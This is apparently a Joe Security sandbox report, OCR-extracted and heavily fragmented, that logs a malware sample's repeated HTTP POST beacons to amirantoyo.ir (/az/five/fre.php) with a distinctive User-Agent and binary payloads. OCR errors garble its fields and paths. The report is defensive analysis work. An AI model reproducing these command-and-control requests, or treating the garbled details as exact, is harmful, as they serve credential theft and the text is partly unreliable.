Session ID Source IP
390 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
391 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
392 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
393 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
394 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
395 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
396 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
397 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50169

Direction

Source Port

50170

Direction

Source Port

50171

Direction

Source Port
50172

Direction

Source Port
50173

Direction

Source Port
50174

Direction

Source Port
50175

Direction

Source Port

50176

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:42 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
398 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
399 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
4 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7374

18:36:25.823434114 CEST

Jul 20, 2021 7374
18:36:25.975893974 CEST

Session ID Source IP
40 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7424

18:36:43.325300932 CEST

Jul 20, 2021 7424
18:36:43.480237007 CEST

Session ID Source IP
400 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
401 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50177

Direction

Source Port

50178

Direction

Source Port

49777

Direction

ouT

Source Port
49813

Direction
ouT

Source Port
50179

Direction

Source Port

50180

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:25 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:43 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
402 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
403 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
404 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
405 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
406 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
407 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
408 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
409 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
41 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50181

Direction

Source Port

50182

Direction

Source Port

50183

Direction

Source Port

50184

Direction

Source Port

50185

Direction

Source Port
50186

Direction

Source Port
50187

Direction

Source Port
50188

Direction

Source Port

49814

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7425
18:36:43.794497013 CEST

Jul 20, 2021 7426
18:36:43.940505028 CEST

Session ID Source IP
410 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
411 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
412 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
413 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
414 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
415 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
416 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
417 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50189

Direction

Source Port

50190

Direction

Source Port

50191

Direction

Source Port
50192

Direction

Source Port
50193

Direction

Source Port
50194

Direction

Source Port

50195

Direction

Source Port

50196

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:43 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
418 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
419 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
42 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7427

18:36:44.244995117 CEST

Jul 20, 2021 7427
18:36:44.398888111 CEST

Session ID Source IP
420 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
421 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
422 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
423 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
424 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50197

Direction

Source Port

50198

Direction

Source Port

49815

Direction

ouT

Source Port
50199

Direction

Source Port
50200

Direction

Source Port
50201

Direction

Source Port

50202

Direction

Source Port

50203

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:44 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
425 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
426 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
427 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
428 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
429 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
43 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7428

18:36:44.689711094 CEST

Jul 20, 2021 7428
18:36:44.841171026 CEST

Session ID Source IP
430 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
431 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50204

Direction

Source Port

50205

Direction

Source Port

50206

Direction

Source Port

50207

Direction

Source Port

50208

Direction

Source Port
49816

Direction
ouT

Source Port

50209

Direction

Source Port

50210

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:44 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
432 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
433 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
434 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
435 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
436 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
437 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
438 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
439 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
44 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50211

Direction

Source Port

50212

Direction

Source Port

50213

Direction

Source Port

50214

Direction

Source Port

50215

Direction

Source Port
50216

Direction

Source Port
50217

Direction

Source Port
50218

Direction

Source Port

49817

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7429
18:36:45.153309107 CEST

Jul 20, 2021 7430
18:36:45.306845903 CEST

Session ID Source IP
440 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
441 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
442 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
443 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
444 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
445 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
446 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
447 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50219

Direction

Source Port

50220

Direction

Source Port

50221

Direction

Source Port
50222

Direction

Source Port
50223

Direction

Source Port
50224

Direction

Source Port
50225

Direction

Source Port

50226

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:45 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
448 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
449 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
45 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7431

18:36:45.613807917 CEST

Jul 20, 2021 7431
18:36:45.765444040 CEST

Session ID Source IP
450 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
451 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
452 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
453 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
454 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50227

Direction

Source Port

50228

Direction

Source Port

49818

Direction

ouT

Source Port
50229

Direction

Source Port
50230

Direction

Source Port
50231

Direction

Source Port

50232

Direction

Source Port

50233

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:45 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
455 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
456 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
457 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
458 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
459 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
46 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7432

18:36:46.081916094 CEST

Jul 20, 2021 7433
18:36:46.234522104 CEST

Session ID Source IP
460 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
461 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50234

Direction

Source Port

50235

Direction

Source Port

50236

Direction

Source Port

50237

Direction

Source Port

50238

Direction

Source Port
49819

Direction
ouT

Source Port

50239

Direction

Source Port

50240

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:46 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
462 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
463 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
464 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
465 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
466 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
467 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
468 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
469 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
47 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50241

Direction

Source Port

50242

Direction

Source Port

50243

Direction

Source Port

50244

Direction

Source Port

50245

Direction

Source Port
50246

Direction

Source Port
50247

Direction

Source Port
50248

Direction

Source Port

49820

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7433
18:36:46.538927078 CEST

Jul 20, 2021 7434
18:36:46.694998026 CEST

Session ID Source IP
470 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
471 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
472 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
473 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
474 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
475 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
476 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
477 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50249

Direction

Source Port

50250

Direction

Source Port

50251

Direction

Source Port
50252

Direction

Source Port
50253

Direction

Source Port
50254

Direction

Source Port
50255

Direction

Source Port

50256

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:46 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
478 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
479 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
48 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7435

18:36:46.986797094 CEST

Jul 20, 2021 7435
18:36:47.131441116 CEST

Session ID Source IP
480 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
481 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
482 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
483 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
484 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50257

Direction

Source Port

50258

Direction

Source Port

49821

Direction

ouT

Source Port
50259

Direction

Source Port
50260

Direction

Source Port
50261

Direction

Source Port

50262

Direction

Source Port

50263

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:47 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
485 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
486 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
487 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
488 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
489 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
49 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7436

18:36:47.445508003 CEST

Jul 20, 2021 7437
18:36:47.590167046 CEST

Session ID Source IP
490 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
491 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50264

Direction

Source Port

50265

Direction

Source Port

50266

Direction

Source Port

50267

Direction

Source Port

50268

Direction

Source Port
49822

Direction
ouT

Source Port
50269

Direction

Source Port

50270

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

